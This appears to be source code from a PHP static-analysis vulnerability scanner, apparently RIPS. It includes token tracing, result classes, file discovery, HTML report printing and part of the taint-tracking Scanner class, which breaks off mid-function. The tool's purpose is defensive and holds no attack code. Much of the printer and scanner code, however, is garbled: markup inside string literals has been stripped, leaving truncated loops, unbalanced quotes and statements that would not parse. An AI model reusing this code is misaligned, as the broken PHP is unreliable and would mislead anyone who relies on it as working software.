$tokens[$i][0] === T_DNUMBER || $tokens[$i][0] === T_NUM_STRING ) { $value .= round($tokens[$i][1]); } else if( $tokens[$i][0] === T_ENCAPSED_AND_WHITESPACE ) { $value .= $tokens[$i][1]; } // if in foreach($bla as $key=>$value) dont trace $key, $value back else if( $tokens[$i][0] === T_AS ) { break; } // function calls else if($tokens[$i][0] === T_STRING && $tokens[$i+1] === '(') { // stop if strings are fetched from database/file (otherwise SQL query will be added) if (in_array($tokens[$i][1], Sources::$F_DATABASE_INPUT) || in_array($tokens[$i][1], Sources::$F_FILE_INPUT) || isset(Info::$F_INTEREST[$tokens[$i][1]])) { break; } // add userinput for functions that return userinput else if(in_array($tokens[$i][1], $source_functions)) { $value .= '$_USERINPUT'; } } } } return $value; } // traces values of variables and reconstructs string static function get_var_value($file_name, $var_token, $var_declares, $var_declares_global, $last_token_id, $source_functions=array()) { $var_value = ''; // CONSTANTS if($var_token[1][0] !== '$') $var_token[1] = strtoupper($var_token[1]); // check if var declaration could be found for this var if( isset($var_declares[$var_token[1]]) ) { foreach($var_declares[$var_token[1]] as $var_declare) { // check if array keys are the same (if it is an array) $array_key_diff = false; if( isset($var_token[3]) && !empty($var_declare->array_keys) ) $array_key_diff = array_diff_assoc($var_token[3], $var_declare->array_keys); if( $var_declare->id < $last_token_id && empty($array_key_diff)) $var_value .= self::get_tokens_value($file_name, $var_declare->tokens, $var_declares, $var_declares_global, $var_declare->id, $var_declare->tokenscanstart, $var_declare->tokenscanstop, $source_functions); if($var_value) break; } } return $var_value; } // get end of codeblock (Detect brace ending, ignore new brace opening and closing in between) static function getBraceEnd($tokens, $i) { $c=1; $newbraceopen = 1; while( !($newbraceopen === 0 || $tokens[$i + $c] === ';') ) { // watch function calls in function call if( $tokens[$i + $c] === '(' ) { $newbraceopen++; } else if( $tokens[$i + $c] === ')' ) { $newbraceopen--; } if($c>50)break; $c++; } return $c; } static function get_ini_paths($path) { if(!preg_match('/([;\\\\]|\W*[C-Z]{1}:)/', $path)) $path = str_replace(':', ';', $path); return explode(';', $path); } } ================================================ FILE: lib/constructer.php ================================================ . **/ // variable declarations = childs class VarDeclare { public $id; public $tokens; public $tokenscanstart; public $tokenscanstop; public $value; public $comment; public $line; public $marker; public $dependencies; public $stopvar; public $array_keys; function __construct($tokens = array(), $comment = '') { $this->id = 0; $this->tokens = $tokens; $this->tokenscanstart = 0; $this->tokenscanstop = count($tokens); $this->value = ''; $this->comment = $comment; $this->line = ''; $this->marker = 0; $this->dependencies = array(); $this->stopvar = false; $this->array_keys = array(); } } // group vulnerable parts to one vulnerability trace class VulnBlock { public $uid; public $vuln; public $category; public $treenodes; public $sink; public $dataleakvar; public $alternates; function __construct($uid = '', $category = 'match', $sink = '') { $this->uid = $uid; $this->vuln = false; $this->category = $category; $this->treenodes = array(); $this->sink = $sink; $this->dataleakvar = array(); $this->alternates = array(); } } // used to store new finds class VulnTreeNode { public $id; public $value; public $dependencies; public $title; public $name; public $marker; public $lines; public $filename; public $children; public $funcdepend; public $funcparamdepend; public $foundcallee; public $get; public $post; public $cookie; public $files; public $server; function __construct($value = null) { $this->id = 0; $this->value = $value; $this->title = ''; $this->dependencies = array(); $this->name = ''; $this->marker = 0; $this->lines = array(); $this->filename = ''; $this->children = array(); $this->funcdepend = ''; $this->funcparamdepend = null; $this->foundcallee = false; } } // information gathering finds class InfoTreeNode { public $value; public $dependencies; public $name; public $lines; public $title; public $filename; function __construct($value = null) { $this->title = 'File Inclusion'; $this->value = $value; $this->dependencies = array(); $this->name = ''; $this->lines = array(); $this->filename = ''; } } // function declaration class FunctionDeclare { public $value; public $tokens; public $name; public $line; public $marker; public $parameters; function __construct($tokens) { $this->value = ''; $this->tokens = $tokens; $this->name = ''; $this->line = 0; $this->marker = 0; $this->parameters = array(); } } ================================================ FILE: lib/filer.php ================================================ . **/ // get all php files from directory, including all subdirectories function read_recursiv($path, $scan_subdirs) { $result = array(); $handle = opendir($path); if ($handle) { while (false !== ($file = readdir($handle))) { if ($file !== '.' && $file !== '..') { $name = $path . '/' . $file; if (is_dir($name) && $scan_subdirs) { $ar = read_recursiv($name, true); foreach ($ar as $value) { if(in_array(substr($value, strrpos($value, '.')), $GLOBALS['FILETYPES'])) $result[] = $value; } } else if(in_array(substr($name, strrpos($name, '.')), $GLOBALS['FILETYPES'])) { $result[] = $name; } } } } closedir($handle); return $result; } ================================================ FILE: lib/printer.php ================================================ . **/ // add parsing error to output function addError($message, $tokens, $line_nr, $filename) { $GLOBALS['info'][] = 'Parsing error occured. Use verbosity level=debug for details.'; if($GLOBALS['verbosity'] == 5) { $value = highlightline($tokens, '', $line_nr); $new_find = new InfoTreeNode($value); $new_find->title = 'Parse error: '.$message; $new_find->lines[] = $line_nr; $new_find->filename = $filename; $new_block = new VulnBlock('error', 'Debug'); $new_block->treenodes[] = $new_find; $new_block->vuln = true; $GLOBALS['output'][$filename]['error'] = $new_block; } } // tokens to string for comments function tokenstostring($tokens) { $output = ''; for($i=0;$i$line_nr: "; if($title) { $output.=''; $output.="$title "; } else if($udftitle) { $output.=' '; } $var_count = 0; for($i=0;$i$token "; else if(in_array($token, Tokens::$S_SPACE_WRAP) || in_array($token, Tokens::$S_ARITHMETIC)) $output .= ' '.$token.' '; else $output .= ''.htmlentities($token, ENT_QUOTES, 'utf-8').''; } else if (is_array($token) && $token[0] !== T_OPEN_TAG && $token[0] !== T_CLOSE_TAG) { if(in_array($token[0], Tokens::$T_SPACE_WRAP) || in_array($token[0], Tokens::$T_OPERATOR) || in_array($token[0], Tokens::$T_ASSIGNMENT)) { $output.= ' {$token[1]} "; } else { if($token[0] === T_FUNCTION) { $reference = false; $funcname = $tokens[$i+1][0] === T_STRING ? $tokens[$i+1][1] : $tokens[$i+2][1]; $output .= ''; $output .= ' '; } $text = htmlentities($token[1], ENT_QUOTES, 'utf-8'); $text = str_replace(array(' ', "\n"), ' ', $text); if($token[0] === T_FUNCTION) $text.=' '; if($token[0] === T_STRING && $reference && isset($GLOBALS['user_functions_offset'][strtolower($text)])) { $text = @'$text\n"; } else { $span = '$text"; else $span.= 'class="phps-'.str_replace('_', '-', strtolower(token_name($token[0])))."\">$text"; $text = $span; // rebuild array keys if(isset($token[3])) { foreach($token[3] as $key) { if($key != '*') { $text .= '['; if(!is_array($key)) { if(is_numeric($key)) $text .= '' . $key . ''; else $text .= '\'' . htmlentities($key, ENT_QUOTES, 'utf-8') . '\''; } else { foreach($key as $token) { if(is_array($token)) { $text .= ''.htmlentities($token[1], ENT_QUOTES, 'utf-8').''; } else $text .= "{$token}"; } } $text .= ']'; } } } } $output .= $text; if(is_array($token) && (in_array($token[0], Tokens::$T_INCLUDES) || in_array($token[0], Tokens::$T_XSS) || $token[0] === 'T_EVAL')) $output .= ' '; } } } if(!empty($comment)) $output .= ' // '.htmlentities($comment, ENT_QUOTES, 'utf-8').''; return $output; } // detect vulnerability type given by the PVF name // note: same names are used in help.php! function getVulnNodeTitle($func_name) { if(isset($GLOBALS['F_XSS'][$func_name])) { $vulnname = $GLOBALS['NAME_XSS']; } else if(isset($GLOBALS['F_HTTP_HEADER'][$func_name])) { $vulnname = $GLOBALS['NAME_HTTP_HEADER']; } else if(isset($GLOBALS['F_SESSION_FIXATION'][$func_name])) { $vulnname = $GLOBALS['NAME_SESSION_FIXATION']; } else if(isset($GLOBALS['F_DATABASE'][$func_name])) { $vulnname = $GLOBALS['NAME_DATABASE']; } else if(isset($GLOBALS['F_FILE_READ'][$func_name])) { $vulnname = $GLOBALS['NAME_FILE_READ']; } else if(isset($GLOBALS['F_FILE_AFFECT'][$func_name])) { $vulnname = $GLOBALS['NAME_FILE_AFFECT']; } else if(isset($GLOBALS['F_FILE_INCLUDE'][$func_name])) { $vulnname = $GLOBALS['NAME_FILE_INCLUDE']; } else if(isset($GLOBALS['F_CONNECT'][$func_name])) { $vulnname = $GLOBALS['NAME_CONNECT']; } else if(isset($GLOBALS['F_EXEC'][$func_name])) { $vulnname = $GLOBALS['NAME_EXEC']; } else if(isset($GLOBALS['F_CODE'][$func_name])) { $vulnname = $GLOBALS['NAME_CODE']; } else if(isset($GLOBALS['F_REFLECTION'][$func_name])) { $vulnname = $GLOBALS['NAME_REFLECTION']; } else if(isset($GLOBALS['F_XPATH'][$func_name])) { $vulnname = $GLOBALS['NAME_XPATH']; } else if(isset($GLOBALS['F_LDAP'][$func_name])) { $vulnname = $GLOBALS['NAME_LDAP'];} else if(isset($GLOBALS['F_POP'][$func_name])) { $vulnname = $GLOBALS['NAME_POP']; } else if(isset($GLOBALS['F_OTHER'][$func_name])) { $vulnname = $GLOBALS['NAME_OTHER']; } // :X else $vulnname = "unknown"; return $vulnname; } // detect vulnerability type given by the PVF name // note: same names are used in help.php! function increaseVulnCounter($func_name) { if(isset($GLOBALS['F_XSS'][$func_name])) { $GLOBALS['count_xss']++; } else if(isset($GLOBALS['F_HTTP_HEADER'][$func_name])) { $GLOBALS['count_header']++; } else if(isset($GLOBALS['F_SESSION_FIXATION'][$func_name])) { $GLOBALS['count_sf']++; } else if(isset($GLOBALS['F_DATABASE'][$func_name])) { $GLOBALS['count_sqli']++; } else if(isset($GLOBALS['F_FILE_READ'][$func_name])) { $GLOBALS['count_fr']++; } else if(isset($GLOBALS['F_FILE_AFFECT'][$func_name])) { $GLOBALS['count_fa']++; } else if(isset($GLOBALS['F_FILE_INCLUDE'][$func_name])) { $GLOBALS['count_fi']++; } else if(isset($GLOBALS['F_CONNECT'][$func_name])) { $GLOBALS['count_con']++; } else if(isset($GLOBALS['F_EXEC'][$func_name])) { $GLOBALS['count_exec']++; } else if(isset($GLOBALS['F_CODE'][$func_name])) { $GLOBALS['count_code']++; } else if(isset($GLOBALS['F_REFLECTION'][$func_name])) { $GLOBALS['count_ri']++; } else if(isset($GLOBALS['F_XPATH'][$func_name])) { $GLOBALS['count_xpath']++; } else if(isset($GLOBALS['F_LDAP'][$func_name])) { $GLOBALS['count_ldap']++; } else if(isset($GLOBALS['F_POP'][$func_name])) { $GLOBALS['count_pop']++; } else if(isset($GLOBALS['F_OTHER'][$func_name])) { $GLOBALS['count_other']++; } // :X } // traced parameter output bottom-up function traverseBottomUp($tree) { echo 'marker) { case 1: echo ' class="userinput"'; break; case 2: echo ' class="validated"'; break; case 3: echo ' class="functioninput"'; break; case 4: echo ' class="persistent"'; break; } echo '>
  • ' . $tree->value; if($tree->children) { foreach ($tree->children as $child) { traverseBottomUp($child); } } echo '
  • ',"\n"; } // traced parameter output top-down function traverseTopDown($tree, $start=true, $lines=array()) { if($start) echo '
      '; foreach ($tree->children as $child) { $lines = traverseTopDown($child, false, $lines); } // do not display a line twice // problem: different lines in different files with equal line number if(!isset($lines[$tree->line])) { echo 'marker) { case 1: echo ' class="userinput"'; break; case 2: echo ' class="validated"'; break; case 3: echo ' class="functioninput"'; break; case 4: echo ' class="persistent"'; break; } echo '>',$tree->value,'',"\n"; // add to array to ignore next time $lines[$tree->line] = 1; } if($start) echo '
    '; return $lines; } // requirements output function dependenciesTraverse($tree) { if(!empty($tree->dependencies)) { echo '
    • requires:'; foreach ($tree->dependencies as $linenr=>$dependency) { if(!empty($dependency)) { echo '
      • '.highlightline($dependency, '', $linenr).'
      '; } } echo '
    ',"\n"; } } // check for vulns found in file function fileHasVulns($blocks) { foreach($blocks as $block) { if($block->vuln) return true; } return false; } // print the scanresult function printoutput($output, $treestyle=1) { if(!empty($output)) { $nr=0; reset($output); do { if(key($output) != "" && !empty($output[key($output)]) && fileHasVulns($output[key($output)])) { echo '
    ', 'File: ',key($output),'
    ', '

    '; foreach($output[key($output)] as $vulnBlock) { if($vulnBlock->vuln) { $nr++; echo '
    ', '
    ',$vulnBlock->category,'
    ', '
    '; if($treestyle == 2) krsort($vulnBlock->treenodes); foreach($vulnBlock->treenodes as $tree) { // we do not have a prescan yet so RIPS misses function calls before the actual declaration, so we output vulns in functions without function call too (could have happened earlier) // if(empty($tree->funcdepend) || $tree->foundcallee ) { echo '
    ',"\n", '
    ',"\n", '
    '."\n", '

    ',"\n"; if(isset($GLOBALS['scan_functions'][$tree->name])) { // help button echo '
    ',"\n"; if(isset($GLOBALS['F_DATABASE'][$tree->name]) || isset($GLOBALS['F_FILE_AFFECT'][$tree->name]) || isset($GLOBALS['F_FILE_READ'][$tree->name]) || isset($GLOBALS['F_LDAP'][$tree->name]) || isset($GLOBALS['F_XPATH'][$tree->name]) || isset($GLOBALS['F_POP'][$tree->name]) ) { // data leak scan if(!empty($vulnBlock->dataleakvar)) { echo '
    ',"\n"; // line } else { $tree->title .= ' (Blind exploitation)'; } } } if(!empty($tree->get) || !empty($tree->post) || !empty($tree->cookie) || !empty($tree->files) || !empty($tree->server) ) { /*echo '
    ',"\n",*/ echo '
    '; } // $tree->title echo '
    ',$tree->title,'', '
    ',"\n"; if($treestyle == 1) traverseBottomUp($tree); else if($treestyle == 2) traverseTopDown($tree); echo '
    • ',"\n"; dependenciesTraverse($tree); echo '
    ',"\n", '
    ',"\n", '
    ',"\n"; } } if(!empty($vulnBlock->alternatives)) { echo '
    • Vulnerability is also triggered in:'; foreach($vulnBlock->alternatives as $alternative) { echo '
      • '.$alternative.'
      '; } echo '
    '; } echo '
    ',"\n"; } } echo '
    ',"\n", '',"\n", '

    ',"\n"; } else if(count($output) == 1) { echo '
    Nothing vulnerable found. Change the verbosity level or vulnerability type and try again.
    '; } } while(next($output)); } else if(count($GLOBALS['scanned_files']) > 0) { echo '
    Nothing vulnerable found. Change the verbosity level or vulnerability type and try again.
    '; } else { echo '
    Nothing to scan. Please check your path/file name.
    '; } } // build list of available functions function createFunctionList($user_functions_offset) { if(!empty($user_functions_offset)) { ksort($user_functions_offset); if($GLOBALS['file_amount'] <= WARNFILES) $js = 'graph2 = new Graph(document.getElementById("functioncanvas"));'."\n"; else $js = 'canvas = document.getElementById("functioncanvas");ctx = canvas.getContext("2d");ctx.fillStyle="#ff0000";ctx.fillText("Graphs have been disabled for a high file amount (>'.WARNFILES.').", 20, 30);'; $x=20; $y=50; $i=0; if($GLOBALS['file_amount'] <= WARNFILES) { // create JS graph elements foreach($user_functions_offset as $func_name => $info) { if($func_name !== '__main__') { $x = ($i%4==0) ? $x=20 : $x=$x+160; $y = ($i%4==0) ? $y=$y+70 : $y=$y; $i++; $func_varname = str_replace('::', '', $func_name); $js.= "var e$func_varname = graph2.addElement(pageTemplate, { x:$x, y:$y }, '".addslashes($func_name)."( )', '', '".(isset($info[5]) ? $info[5] : 0)."', '".(isset($info[6]) ? $info[6] : 0)."', 0);\n"; } else { $js.='var e__main__ = graph2.addElement(pageTemplate, { x:260, y:20 }, "__main__", "", "'.(isset($info[5]) ? $info[5] : 0).'", "'.(isset($info[6]) ? $info[6] : 0).'", 0);'."\n"; } } } echo '
    '; foreach($user_functions_offset as $func_name => $info) { if($func_name !== '__main__') echo ''; if(isset($info[4]) && $GLOBALS['file_amount'] <= WARNFILES) { foreach($info[4] as $call) { if(!is_array($call)) { $color = (isset($info[4][$call])) ? '#F00' : '#000'; $js.="try{graph2.addConnection(e$call.getConnector(\"links\"), e$func_name.getConnector(\"parents\"), '$color');}catch(e){}\n"; } } } } if($GLOBALS['file_amount'] <= WARNFILES) $js.='graph2.update();'; echo '
    declarationcalls
    ',$func_name,'
    '; $calls = array(); if(isset($info[3])) { foreach($info[3] as $call) { $calls[] = ''.$call[1].''; } } echo implode(',',array_unique($calls)).'
    ',"\n\n"; } else { echo "\n"; } } // build list of all entry points (user input) function createUserinputList($user_input) { if(!empty($user_input)) { ksort($user_input); echo ''; foreach($user_input as $input_name => $file) { $finds = array(); foreach($file as $file_name => $lines) { foreach($lines as $line) { $finds[] = '$line\n"; } } echo "'; } echo '
    type[parameter]taints
    $input_name",implode(',',array_unique($finds)),'
    '; } else { echo 'No userinput found.'; } } // build list of all scanned files function createFileList($files, $file_sinks) { if(!empty($files)) { if($GLOBALS['file_amount'] <= WARNFILES) $js = 'graph = new Graph(document.getElementById("filecanvas"));'."\n"; else $js = 'canvas = document.getElementById("filecanvas");ctx = canvas.getContext("2d");ctx.fillStyle="#ff0000";ctx.fillText("Graphs have been disabled for a high file amount (>'.WARNFILES.').", 20, 30);'; // get vuln files $vulnfiles = array(); foreach($GLOBALS['output'] as $filename => $blocks) { foreach($blocks as $block) { if($block->vuln) { $vulnfiles[] = $block->treenodes[0]->filename; } } } // sort files by "include weight" (main files on top, included files bottom) $mainfiles = array(); $incfiles = array(); foreach($files as $file => $includes) { $mainfiles[] = realpath($file); if(!empty($includes)) { foreach($includes as $include) { $incfiles[] = realpath($include); } } } $elements = array_unique(array_merge(array_diff($mainfiles,$incfiles), array('__break__'), $incfiles)); $x=20; $y=-50; $i=0; $style = 'pageTemplate'; // add JS elements foreach($elements as $file) { if($file !== '__break__') { $x = ($i%4==0) ? $x=20 : $x=$x+160; $y = ($i%4==0) ? $y=$y+70 : $y=$y; $i++; // leave space for legend symbols if($i==3) $i++; $file = realpath($file); $filename = is_dir($_POST['loc']) ? str_replace(realpath($_POST['loc']), '', $file) : str_replace(realpath(str_replace(basename($_POST['loc']),'', $_POST['loc'])),'',$file); $varname = preg_replace('/[^A-Za-z0-9]/', '', $filename); $userinput = 0; foreach($GLOBALS['user_input'] as $inputname) { if(isset($inputname[$file])) $userinput++; } if($GLOBALS['file_amount'] <= WARNFILES) $js.= "var e$varname = graph.addElement($style, { x:$x, y:$y }, '".htmlentities($filename, ENT_QUOTES)."', '', '".$userinput."', '".htmlentities($file_sinks[$file], ENT_QUOTES)."', ".(in_array($file, $vulnfiles) ? 1 : 0).");\n"; } else { // add to $i what is missing til new row is created $i=$i+(4-($i%4)); $y+=30; $style = 'scriptTemplate'; } } // build file list and add connection to includes echo '
    '; foreach($files as $file => $includes) { $file = realpath($file); $filename = is_dir($_POST['loc']) ? str_replace(realpath($_POST['loc']), '', $file) : str_replace(realpath(str_replace(basename($_POST['loc']),'', $_POST['loc'])),'',$file); $varname = preg_replace('/[^A-Za-z0-9]/', '', $filename); if(empty($includes)) { echo '',"\n"; } else { $parent = $varname; echo '',"\n"; } } if($GLOBALS['file_amount'] <= WARNFILES) $js.='graph.update();'; echo '
    ',htmlentities($filename),'
    ',htmlentities($filename),'
      ',"\n"; foreach($includes as $include) { $include = realpath($include); $includename = is_dir($_POST['loc']) ? str_replace(realpath($_POST['loc']), '', $include) : str_replace(realpath(str_replace(basename($_POST['loc']),'', $_POST['loc'])),'',$include); $incvarname = preg_replace('/[^A-Za-z0-9]/', '', $includename); echo '
    • ',htmlentities($includename),'
    • ',"\n"; if($GLOBALS['file_amount'] <= WARNFILES) $js.="try{graph.addConnection(e$incvarname.getConnector(\"links\"), e$parent.getConnector(\"parents\"), '#000');}catch(e){}\n"; } echo '
    ',"\n\n"; } } function statsRow($nr, $name, $amount, $all) { echo '',$name,':
    ',$amount,'
    '; } ================================================ FILE: lib/scanner.php ================================================ . **/ class Scanner { public $file_name; public $scan_functions; public $info_functions; public $source_functions; public $var_declares_global; public $globals_from_function; public $in_class; public $class_name; public $vuln_classes; public $class_vars; public $brace_save_class; public $in_function; public $function_obj; public $var_declares_local; public $put_in_global_scope; public $brace_save_func; public $in_condition; public $braces_open; public $ignore_requirement; public $last_dependency; public $dependencies; public $dependencytokens; public $securedby; public $ignore_securing_function; public $userfunction_secures; public $userfunction_taints; public $comment; public $inc_file_stack; public $inc_map; public $include_paths; public $file_pointer; public $lines_stack; public $lines_pointer; public $tif; public $tif_stack; public $tokens; function __construct($file_name, $scan_functions, $info_functions, $source_functions) { $this->file_name = $file_name; $this->scan_functions = $scan_functions; $this->info_functions = $info_functions; $this->source_functions = $source_functions; $this->var_declares_global = array(); $this->var_declares_local = array(); $this->put_in_global_scope = array(); $this->globals_from_function = array(); $this->in_class = false; $this->class_name = ''; $this->vuln_classes = array(); $this->class_vars = array(); $this->in_function = 0; $this->function_obj = null; $this->in_condition = 0; $this->braces_open = 0; $this->brace_save_func = -1; $this->brace_save_class = -1; $this->ignore_requirement = false; $this->last_dependency = array(); $this->dependencies = array(); $this->dependencytokens = array(); $this->securedby = array(); $this->ignore_securing_function = false; $this->userfunction_secures = false; $this->userfunction_taints = false; $this->comment = ''; $this->inc_file_stack = array(realpath($this->file_name)); $this->inc_map = array(); $this->include_paths = Analyzer::get_ini_paths(ini_get("include_path")); $this->file_pointer = end($this->inc_file_stack); if(!isset($GLOBALS['file_sinks_count'][$this->file_pointer])) $GLOBALS['file_sinks_count'][$this->file_pointer] = 0; $this->lines_stack = array(); $this->lines_stack[] = file($this->file_name); $this->lines_pointer = end($this->lines_stack); $this->tif = 0; // tokennr in file $this->tif_stack = array(); // preload output echo $GLOBALS['fit'] . '|' . $GLOBALS['file_amount'] . '|' . $this->file_pointer . ' (tokenizing)|' . $GLOBALS['timeleft'] . '|' . "\n"; @ob_flush(); flush(); // tokenizing $tokenizer = new Tokenizer($this->file_pointer); $this->tokens = $tokenizer->tokenize(implode('',$this->lines_pointer)); unset($tokenizer); // add auto includes from php.ini if(ini_get('auto_prepend_file')) { $this->add_auto_include(ini_get('auto_prepend_file'), true); } if(ini_get('auto_append_file')) { $this->add_auto_include(ini_get('auto_append_file'), false); } } // create require tokens for auto_prepend/append_files and add to tokenlist function add_auto_include($paths, $beginning) { $paths = Analyzer::get_ini_paths($paths); $addtokens = array(); foreach($paths as $file) { $includetokens = array( array(T_REQUIRE, 'require', 0), array(T_CONSTANT_ENCAPSED_STRING, "'$file'", 0), ';' ); $addtokens = array_merge($addtokens, $includetokens); } if($beginning) $this->tokens = array_merge($addtokens, $this->tokens); else $this->tokens = array_merge($this->tokens, $addtokens); } // traces recursivly parameters and adds them as child to parent // returns true if a parameter is tainted by userinput (1=directly tainted, 2=function param) function scan_parameter($mainparent, $parent, $var_token, $var_keys, $last_token_id, $var_declares, $var_declares_global, $userinput, $F_SECURES=array(), $return_scan=false, $ignore_securing=false, $secured=false) { #print_r(func_get_args());echo "\n----------------\n"; $vardependent = false; $var_name = $var_token[1]; // constants if($var_name[0] !== '$') { $var_name = strtoupper($var_name); } // variables else { // reconstruct array key values $a[$b] if(isset($var_token[3])) { for($k=0;$kfile_pointer, $var_token[3][$k], $var_declares, $var_declares_global, $last_token_id ); } } } // handle $GLOBALS and $_SESSIONS if(isset($var_token[3])) { if($var_name == '$GLOBALS' && !isset($var_declares[$var_name]) && !empty($var_token[3][0]) ) { $var_name = '$'. str_replace(array("'",'"'), '', $var_token[3][0]); // php $GLOBALS: ignore previous local vars and take only global vars $var_declares = $var_declares_global; } else if($var_name === '$_SESSION' && !isset($var_declares[$var_name]) && !empty($var_declares_global)) { // $_SESSION data is handled as global variables $var_declares = array_merge($var_declares_global, $var_declares); } } // if a register_globals implementation is present shift it to the beginning of the var_declare array if(isset($var_declares['register_globals']) && !in_array($var_name, Sources::$V_USERINPUT) && (!$this->in_function || in_array($var_name, $this->put_in_global_scope))) { if(!isset($var_declares[$var_name])) { $var_declares[$var_name] = $var_declares['register_globals']; } else { foreach($var_declares['register_globals'] as $glob_obj) { if($glob_obj->id < $last_token_id) $var_declares[$var_name][] = $glob_obj; } } } } // check if var declaration could be found for this var // and if the latest var_declares id is smaller than the last_token_id, otherwise continue with function parameters #echo "trying: $var_name, isset: ".(int)(isset($var_declares[$var_name])).", ".end($var_declares[$var_name])->id." < ".$last_token_id."?\n"; if( isset($var_declares[$var_name]) && (end($var_declares[$var_name])->id < $last_token_id || $userinput) ) { foreach($var_declares[$var_name] as $var_declare) { // check if array keys are the same (if it is an array) $array_key_diff = array(); if( !empty($var_token[3]) && !empty($var_declare->array_keys) ) $array_key_diff = array_diff_assoc($var_token[3], $var_declare->array_keys); #print_r($var_declares[$var_name]); #echo "
    var:".$var_name; echo " varkeys:";print_r($var_token[3]); echo " declarekeys:";print_r($var_declare->array_keys); echo " diff:"; print_r($array_key_diff); echo " |||"; #if(!empty($var_declare->array_keys)) die(print_r($var_declare->array_keys) . print_r($var_keys)); if( $var_declare->id < $last_token_id && (empty($array_key_diff) || in_array('*', $array_key_diff) || in_array('*', $var_declare->array_keys)) /* && (empty($var_declare->array_keys) || empty($var_keys) || $var_declare->array_keys == $var_keys || in_array('*', $var_keys) || in_array('*', $array_key_diff) || in_array('*', $var_declare->array_keys) ) */ ) { $comment = ''; // add line to output if(count($mainparent->lines) < MAXTRACE) { $clean_vars_before_ifelse = false; // add same var_name with different dependencies if(!empty($var_declare->dependencies) && $mainparent->dependencies != $var_declare->dependencies ) { foreach($var_declare->dependencies as $deplinenr=>$dependency) { if( !isset($mainparent->dependencies[$deplinenr]) && $deplinenr != $var_declare->line ) { $vardependent = true; $comment.= tokenstostring($dependency).', '; // if dependencie has an ELSE clause, same vars before are definetely overwritten if($dependency[count($dependency)-1][0] === T_ELSE) $clean_vars_before_ifelse = true; } } } // stop at var declarations before if else statement. they are overwritten if($clean_vars_before_ifelse) { for($c=0;$cdependencies) < count($var_declare->dependencies)) { $var_declares[$var_name][$c-1]->stopvar=true; break; } } } $mainparent->lines[] = $var_declare->line; $var_trace = new VarDeclare(''); $parent->children[] = $var_trace; } else { $stop = new VarDeclare('... Trace stopped.'); $parent->children[] = $stop; return $userinput; } // find other variables in this line $tokens = $var_declare->tokens; $last_scanned = ''; $last_userinput = false; $in_arithmetic = false; $in_securing = false; $parentheses_open = 0; $parentheses_save = -1; $tainted_vars = array(); $var_count = 1; for($i=$var_declare->tokenscanstart; $i<$var_declare->tokenscanstop; $i++) { $this_one_is_secure = false; if( is_array($tokens[$i]) ) { // if token is variable or constant if( ($tokens[$i][0] === T_VARIABLE && $tokens[$i+1][0] !== T_OBJECT_OPERATOR) || ($tokens[$i][0] === T_STRING && $tokens[$i+1] !== '(') ) { $var_count++; // check if typecasted if((is_array($tokens[$i-1]) && in_array($tokens[$i-1][0], Tokens::$T_CASTS)) || (is_array($tokens[$i+1]) && in_array($tokens[$i+1][0], Tokens::$T_ARITHMETIC)) ) { // mark user function as a securing user function $GLOBALS['userfunction_secures'] = true; $this_one_is_secure = true; $var_trace->marker = 2; } // check for automatic typecasts by arithmetic if(in_array($tokens[$i-1], Tokens::$S_ARITHMETIC) || in_array($tokens[$i+1], Tokens::$S_ARITHMETIC) ) { // mark user function as a securing user function $GLOBALS['userfunction_secures'] = true; $in_arithmetic = true; $var_trace->marker = 2; } // scan in global scope $userinput = $this->scan_parameter( $mainparent, $var_trace, $tokens[$i], $var_keys, $var_declare->id, ((is_array($tokens[$i-1]) && $tokens[$i-1][0] === T_GLOBAL) || $tokens[$i][1][0] !== '$') ? $var_declares_global : $var_declares, // global or local scope $var_declares_global, $userinput, $F_SECURES, $return_scan, $ignore_securing, ($this_one_is_secure || $in_securing || $in_arithmetic) ); // consider securing applied to parent variable if($secured && $GLOBALS['verbosity'] < 3 && !$last_userinput) { $userinput = false; } // add tainted variable to the list to get them highlighted in output if($userinput && !$last_userinput) { $tainted_vars[] = $var_count; } } // if in foreach($bla as $key=>$value) dont trace $key, $value back else if( $tokens[$i][0] === T_AS ) { break; } // also check for userinput from functions returning userinput else if( in_array($tokens[$i][1], $this->source_functions) ) { $userinput = true; $var_trace->marker = 4; $mainparent->title = 'Userinput returned by function '.$tokens[$i][1].'() reaches sensitive sink.'; if($return_scan) { $GLOBALS['userfunction_taints'] = true; } // userinput received in function, just needs a trigger else if($this->in_function) { $this->addtriggerfunction($mainparent); } // we could return here to not scan all parameters of the tainting function // however we would need to add the line manually to the output here } // detect securing functions else if(!$ignore_securing && ( (is_array($F_SECURES) && in_array($tokens[$i][1], $F_SECURES)) || (isset($tokens[$i][1]) && in_array($tokens[$i][1], $GLOBALS['F_SECURING_STRING'])) || (in_array($tokens[$i][0], Tokens::$T_CASTS) && $tokens[$i+1] === '(') ) ) { $parentheses_save = $parentheses_open; $in_securing = true; $this->securedby[] = $tokens[$i][1]; } //detect insecuring functions (functions that make previous securing useless) else if( isset($tokens[$i][1]) && in_array($tokens[$i][1], $GLOBALS['F_INSECURING_STRING'])) { $parentheses_save = $parentheses_open; $ignore_securing = true; } // if this is a vuln line, it has already been scanned -> return else if( ((in_array($tokens[$i][0], Tokens::$T_FUNCTIONS) && isset($GLOBALS['scan_functions'][$tokens[$i][1]])) || isset(Info::$F_INTEREST[$tokens[$i][1]])) // ignore oftenly used preg_replace() and alike && !isset($GLOBALS['F_CODE'][$tokens[$i][1]]) && !isset($GLOBALS['F_REFLECTION'][$tokens[$i][1]]) && !isset($GLOBALS['F_OTHER'][$tokens[$i][1]])) { $var_trace->value = highlightline($tokens, $comment.$var_declare->comment.', trace stopped', $var_declare->line); $var_trace->line = $var_declare->line; return $userinput; } // check for automatic typecasts by arithmetic assignment else if(in_array($tokens[$i][0], Tokens::$T_ASSIGNMENT_SECURE)) { // mark user function as a securing user function $GLOBALS['userfunction_secures'] = true; $secured = 'arithmetic assignment'; $userinput = false; // first variable before operator has alread been traced, ignore $var_trace->marker = 2; } // func_get_args() else if($tokens[$i][1] === 'func_get_args' && $this->in_function && $tokens[$i][0] === T_STRING) { $this->addfunctiondependend($mainparent, $parent, $return_scan, -1); $userinput = 2; } // func_get_arg() else if($tokens[$i][1] === 'func_get_arg' && $this->in_function && $tokens[$i][0] === T_STRING) { $this->addfunctiondependend($mainparent, $parent, $return_scan, $tokens[$i+2][1]); $userinput = 2; } } // string concat disables arithmetic else if($tokens[$i] === '.') { $in_arithmetic = false; } // watch opening parentheses else if($tokens[$i] === '(') { $parentheses_open++; } // watch closing parentheses else if($tokens[$i] === ')') { $parentheses_open--; if($parentheses_open === $parentheses_save) { $parentheses_save = -1; $in_securing = false; $ignore_securing = false; } } // save userinput (true|false) for vars in same line $last_userinput = $userinput; } // add highlighted line to output, mark tainted vars $var_trace->value = highlightline($tokens, 